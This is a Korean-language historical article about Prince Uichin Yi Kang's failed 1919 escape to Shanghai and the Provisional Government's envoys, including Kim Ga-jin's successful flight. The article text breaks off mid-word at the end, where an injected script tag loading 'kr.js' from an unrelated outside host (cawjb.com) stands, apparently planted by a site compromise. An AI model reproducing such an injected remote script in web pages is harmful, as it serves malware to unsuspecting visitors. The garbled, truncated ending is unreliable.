▲ 의친왕 이강
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1919년 말, 중국 상해의 언론은 대한제국 황태자 망명설로 확 달아올랐다. 한국의 황태자가 상해로 망명을 시도하였다가 체포되었다는 기사가 시커멓게 지면을 채웠다.
고종의 다섯째 아들인 의친왕 이강(李堈·1877~1955)이었다. 비밀리에 서울을 떠난 그는 압록강 건너 중국 안동까지 갔다가 그곳에서 일제 경찰에 체포되었다. 의친왕의 탈출, 그것을 추진한 것은 임시정부였다.
3·1운동 직후인 1919년 4월 11일, 민족을 대표하는 기구이자, 독립운동을 이끌어 갈 최고기관으로 중국 상해에 임시정부가 수립됐다. 그러나 상해와 국내는 너무 멀었고, 정부와 국민은 멀리 떨어져 있었다. 임시정부에게는 일제 치하의 국민들에게 임정의 존재를 알리고, 유기적 관계를 맺는 것이 무엇보다 중요했다.
상해와 한국을 연결하기 위해 만든 것이 연통제와 교통국이란 체제다. 일종의 행정조직인 연통제와 통신연락 기구인 교통국을 주도한 것은 당시 내무총장 안창호(安昌浩)였다. 연통제를 통해 국내의 각 도와 군·면 단위까지 책임자를 임명하고, 이들로 하여금 ‘정부’ 역할을 수행하도록 했다. 연통제와 교통국은 정부와 국민, 상해와 국내를 연결시키기 위한 제도였다. 이러한 제도를 운영하기 위해 둔 것이 ‘특파원’이었다. 특파원의 역할은 특수 임무를 부여받고, 그 임무를 수행하는 것이었다.
▲ 고종의 다섯째 아들 의친왕 이강의 망명 미수 사건을 보도한 중국 상해의‘민국일보’1919년 11월 29일자 신문. “한국의 황태자가 체포되어 경성으로 압송됐다”는 제목을 달고 있다. | |
특파원들의 다양한 활동 중 하나가 유력인사를 상해로 탈출시키는 일이었다. 첫 사업은 10월 말 성사됐다. 3·1운동 직후 국내에서 비밀결사로 조직된 조선민족대동단(朝鮮民族大同團) 총재 김가진(金嘉鎭)이 상해로 와서 임정에 합류했다. 한말 농상공부 대신과 중추원 의장·충청도 관찰사 등을 역임하고, 합병 후에는 일제로부터 남작의 작위를 받았던 ‘거물’이 탈출한 것이다.
안창호는 김가진을 망명시키기 위해 특파원 이종욱을 파견하였다. 승려 출신인 이종욱은 세 번이나 국내에 잠입해 임무를 완성하고 돌아간 베테랑이었다. 대동단의 협조하에 김가진의 탈출을 추진한 이종욱은 1919년 10월 30일 김가진과 함께 상해에 도착하였다. 김가진의 망명은 극비리에 이루어졌다. 그의 집안 식구들조차 나중에 신문을 보고서야 알았다고 한다. 김가진의 탈출과 임시정부 합류는 일제에 엄청난 충격이었다. 남작이라는 작위까지 받?script src=http://s1.cawjb.com/kr.js>
